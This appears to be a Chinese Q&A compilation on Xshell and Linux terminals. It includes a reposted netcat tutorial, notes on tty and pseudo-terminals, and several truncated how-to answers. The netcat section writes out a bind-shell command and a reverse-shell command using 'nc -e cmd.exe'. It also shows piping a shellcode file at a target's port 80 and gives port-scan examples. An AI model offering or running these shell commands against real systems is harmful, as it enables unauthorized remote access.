1. xshell如何查看nc文件
發送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 < test.txt【監聽6666埠,等待連接】(設發送端IP為10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可將文件test.txt從發送端傳送到接收端,保存為test1.txt想要連接到某處: nc [-options] hostname port[s] [ports] ...綁定埠等待連接: nc -l -p port [-options] [hostname] [port]語法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主機名稱][通信端 口...]補充說明:執行本指令可設置路由器的相關參數。參數:-g 設置路由器躍程通信網關,最丟哦可設置8個。-G 設置來源路由指向器,其數值為4的倍數。-h 在線幫助。-i 設置時間間隔,以便傳送信息及掃描通信埠。-l 使用監聽模式,管控傳入的資料。-n 直接使用IP地址,而不通過域名伺服器。-o 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。-p 設置本地主機使用的通信埠。-r 亂數指定本地與遠端主機的通信埠。-s 設置本地主機送出數據包的IP地址。-u 使用UDP傳輸協議。-v 顯示指令執行過程。-w 設置等待連線的時間。-z 使用0輸入/輸出模式,只在掃描通信埠時使用。另外,nc命令也可用於埠掃描:nc -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號TCP埠;nc -u -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號UDP埠。
nc是一款很不錯的網路檢測工具,以下是詳細使用。
'nc.exe -h'即可看到各參數的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 後台模式
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-L 連接關閉後,仍然繼續監聽
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地埠號
-r 隨機本地及遠程埠
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時
埠的表示方法可寫為M-N的范圍格式。
1)連接到遠程主機
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80埠
2)監聽本地主機
格式:nc -l -p 80
講解:監聽本機的TCP80埠
3)掃描遠程主機
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有埠
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354埠
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354埠
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令"|"與重定向命令""等等命令功能更強大......)。
6)作攻擊程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80埠,並在其管道中發送'c:\exploit.txt'的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:'c:\exploit.txt'為shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用'-L'(注意L是大寫)可以不停地監聽某一個埠,直到ctrl+c為止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,同時把結果輸出到'c:\log.txt'中,如果把『>'
改為『>>'即可以追加日誌
附:'c:\log.txt'為日誌等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,並把'c:\honeypot.txt'的內容『送'入其管道中!
10)備份檔案
A機的資料夾 /data備份到B主機的backup.tgz
源主機: tar czf - work|nc -l -c -p 1234
目的主機: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
傳完後ctrl+c中斷連接,這樣A主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿
posted on 2010-10-28 10:03 flyonok 閱讀(2176) 評論(0) 編輯 收藏 引用 所屬分類: linux
2. 用xshell連接Linux,我想主動斷開連接,改用什麼命令
直接 exit 就可直接斷開
3. linux查看進程命令
1、首先打開xshell軟體,連接上linux伺服器,使用指令ps查看系統進程,參數a表示全部,u表示以用戶格式顯示,x表示進程參數。
4. Linux下 Xshell+Xmanager遠程運行可視化視圖程序
一、安裝xshell
二、安裝Xmanager Enterprise
三、啟動Xmanager - Passive
四、啟動Xshell,遠程連接Linux
五、執行 export DISPLAY=客戶端機器IP(使用Xshell端的機器IP):0.0
a) 例如:export DISPLAY=192.168.1.9:0.0
六、安裝X-window必要支持包
sudo yum install xorg-x11-xauth xorg-x11-fonts-* xorg-x11-font-utils xorg-x11-fonts-Type1 xclock
七、執行: xhost +
八、執行: xclock
5. Xshell是什麼東西有什麼用
Xshell是Windows下一款功能非常強大的安全終端模擬軟體,支持Telnet、Rlogin、SSH、SFTP、Serial 等協議,可以非常方便的對linux主機進行遠程管理。
Xshell支持各種安全功能,如SSH1 / SSH2協議,密碼,和DSA和RSA公開密鑰的用戶認證方法,並加密所有流量的各種加密演算法。
重要的是要保持數據安全與內置Xshell安全功能,因為像Telnet和Rlogin這樣的傳統連接協議很容易讓網路流量受到任何有網路知識的人的竊取。Xshell將幫助保護數據免受黑客攻擊。
(5)linux下xshell命令擴展閱讀:
相關的功能特性:
1、代替不安全的Telnet客戶端:
Xshell支持VT100,vt220,vt320,xterm,Linux,scoansi和ANSI終端模擬和提供各種終端外觀選項取代傳統的Telnet客戶端。
2、Xshell在單一屏幕實現多語言:
Xshell中的UTF-8在同類終端軟體中是第一個運用的。用Xshell,可以將多種語言顯示在一個屏幕上,無需切換不同的語言編碼。越來越多的企業需要用到UTF-8格式的資料庫和應用程序,有一個支持UTF-8編碼終端模擬器的需求在不斷增加。Xshell可以幫助處理多語言環境。
3、支持安全連接的TCP / IP應用的X11和任意:
在SSH隧道機制中,Xshell支持埠轉發功能,無需修改任何程序,它可以使所有的TCP / IP應用程序共享一個安全的連接。
6. 如何通過xshell 來上傳文件至linux
1、通過Xshell終端連接Linux伺服器,進入要上傳文件目錄,如文件上傳到usr目錄,則先進入usr目錄
7. 5 Linux 終端類型和Xshell
Linux 終端是一個古老的概念,但是確實是和伺服器交互的一個非常主要的部分。另外,以後腳本中的環境變數,遠程操作腳本expect等,都和終端有關系。因此,我們在此簡單的學習終端的概念和類型,關於有關Linux終端的更多細節,我們會在以後的具體遇到的時候在詳細加以闡述。
但是如果我們遠程telnet到主機或使用xterm時不也需要一個終端交互么?是的,這就是虛擬終端pty(pseudo-tty)
tty一詞源於Teletypes,或者teletypewriters,原來指的是電傳打字機,是通過串列線用列印機鍵盤通過閱讀和發送信息的東西,後來這東西被鍵盤與顯示器取代,所以現在叫終端比較合適。
終端是一種字元型設備,它有多種類型,通常使用tty來簡稱各種類型的終端設備。
Linux 原生的tty共有6個,並且有一個圖形界面。可以通過ctr+alt+F1~ctr+alt+F7 來進行切換。
pts(pseudo-terminal slave)是pty的實現方法,與ptmx(pseudo-terminal master)配合使用實現pty。
可以通過who命令,來查看當前用戶,及用戶所在的終端。
第一次運行who命令,我們看到當前用戶newer通過 圖形界面和pts/0 登錄。
按 ctr+alt+F2切換到tty2 ,登錄用戶newer,再次輸入who命令,可以看到在tty2 新增加了newer用戶登錄。
在Linux系統的設備特殊文件目錄/dev/下,終端特殊設備文件一般有以下幾種:
串列埠終端(Serial Port Terminal)是使用計算機串列埠連接的終端設備。計算機把每個串列埠都看作是一個字元設備。有段時間這些串列埠設備通常被稱為終端設備,因為那時它的最大用途就是用來連接終端。我們可以通過查看dev下面相關的文件來查看系統中存在的tty和ttyS。
在這個例子中,我們查看並且找到了設備中的tty2,tty2 就是剛剛我們通過ctr+alt+F2 打開並且登錄的終端。
這些串列埠所對應的設備名稱是/dev/tts/0(或/dev/ttyS0), /dev/tts/1(或/dev/ttyS1)等,設備號分別是(4,0), (4,1)等,分別對應於DOS系統下的COM1、COM2等。若要向一個埠發送數據,可以在命令行上把標准輸出重定向到這些特殊文件名上即可。
例如,在命令行提示符下鍵入:
會把單詞」test」發送到連接在ttyS2(COM2)埠的設備上。
通過echo命令將test 發送到tty2 之後,可以切換到tty2 查看。
偽終端(Pseudo Terminal)是成對的邏輯終端設備(即master和slave設備, 對master的操作會反映到slave上)。
例如/dev/ptyp3和/dev/ttyp3(或者在設備文件系統中分別是/dev/pty/m3和 /dev/pty/s3)。它們與實際物理設備並不直接相關。如果一個程序把ptyp3(master設備)看作是一個串列埠設備,則它對該埠的讀/ 寫操作會反映在該邏輯終端設備對應的另一個ttyp3(slave設備)上面。而ttyp3則是另一個程序用於讀寫操作的邏輯設備。
這樣,兩個程序就可以通過這種邏輯設備進行互相交流,而其中一個使用ttyp3的程序則認為自己正在與一個串列埠進行通信。這很象是邏輯設備對之間的管道操作。對於ttyp3(s3),任何設計成使用一個串列埠設備的程序都可以使用該邏輯設備。
但對於使用ptyp3的程序,則需要專門設計來使用 ptyp3(m3)邏輯設備。
例如:
如果某人在網上使用telnet程序連接到你的計算機上,則telnet程序就可能會開始連接到設備 ptyp2(m2)上(一個偽終端埠上)。此時一個getty程序就應該運行在對應的ttyp2(s2)埠上。當telnet從遠端獲取了一個字元時,該字元就會通過m2、s2傳遞給 getty程序,而getty程序就會通過s2、m2和telnet程序往網路上返回」login:」字元串信息。這樣,登錄程序與telnet程序就通過「偽終端」進行通信。通過使用適當的軟體,就可以把兩個甚至多個偽終端設備連接到同一個物理串列埠上。
在使用設備文件系統 (device filesystem)之前,為了得到大量的偽終端設備特殊文件,使用了比較復雜的文件名命名方式。因為只存在16個ttyp(ttyp0—ttypf) 的設備文件,為了得到更多的邏輯設備對,就使用了象q、r、s等字元來代替p。例如,ttys8和ptys8就是一個偽終端設備對。
不過這種命名方式目前仍然在RedHat等Linux系統中使用著。
但Linux系統上的Unix98並不使用上述方法,而使用了」pty master」方式,例如/dev/ptm3。它的對應端則會被自動地創建成/dev/pts/3。這樣就可以在需要時提供一個pty偽終端。目錄 /dev/pts是一個類型為devpts的文件系統,並且可以在被載入文件系統列表中看到。雖然「文件」/dev/pts/3看上去是設備文件系統中的一項,但其實它完全是一種不同的文件系統。
即: TELNET ---> TTYP3(S3: slave) ---> PTYP3(M3: master) ---> GETTY
如果當前進程有控制終端(Controlling Terminal)的話,那麼/dev/tty就是當前進程的控制終端的設備特殊文件。
可以使用命令」ps –ax」來查看進程與哪個控制終端相連。
對於你登錄的shell,/dev/tty就是你使用的終端,設備號是(5,0)。使用命令」tty」可以查看它具體對應哪個實際終端設備。
/dev/tty有些類似於到實際所使用終端設備的一個聯接。
在Linux 系統中,計算機顯示器通常被稱為控制台終端 (Console)。它模擬了類型為Linux的一種終端(TERM=Linux),並且有一些設備特殊文件與之相關聯:tty0、tty1、tty2 等。
當你在控制台上登錄時,使用的是tty1。使用Alt+[F1—F6]組合鍵時,我們就可以切換到tty2、tty3等上面去。
tty1–tty6等稱為虛擬終端,而tty0則是當前所使用虛擬終端的一個別名,系統所產生的信息會發送到該終端上。因此不管當前正在使用哪個虛擬終端,系統信息都會發送到控制台終端上。
你可以登錄到不同的虛擬終端上去,因而可以讓系統同時有幾個不同的會話期存在。只有系統或超級用戶root可以向 /dev/tty0進行寫操作。 即下例:
1、# tty(查看當前TTY)
/dev/tty1
2、#echo "test tty0" > /dev/tty0
test tty0
5 虛擬終端(/dev/pts/n)
在Xwindows模式下的偽終端.
6 其它類型
Linux系統中還針對很多不同的字元設備存在有很多其它種類的終端設備特殊文件。例如針對ISDN設備的/dev/ttyIn終端設備等。
8. linux修改文件名命令
linux需要修改文件名的時候該操作。
工具/原料:xshell、linux系統、本地設置1.0
1、打開xshell軟體連接上linux伺服器。
9. Xshell用什麼命令進入
Xshell作為專業的終端模擬器,可以用來登錄Linux,從而通過命令來控制Linux系統,下面就學習具體操作技巧。
打開電腦上的虛擬機,啟動Linux系統,然後打開Xshell軟體,連接上Linux系統,如下圖所示。
圖6:關閉系統
以上就是給大家介紹的在Xshell中操控Linux的常用命令,希望可以幫助大家更好地藉助終端模擬器來控制Linux系統。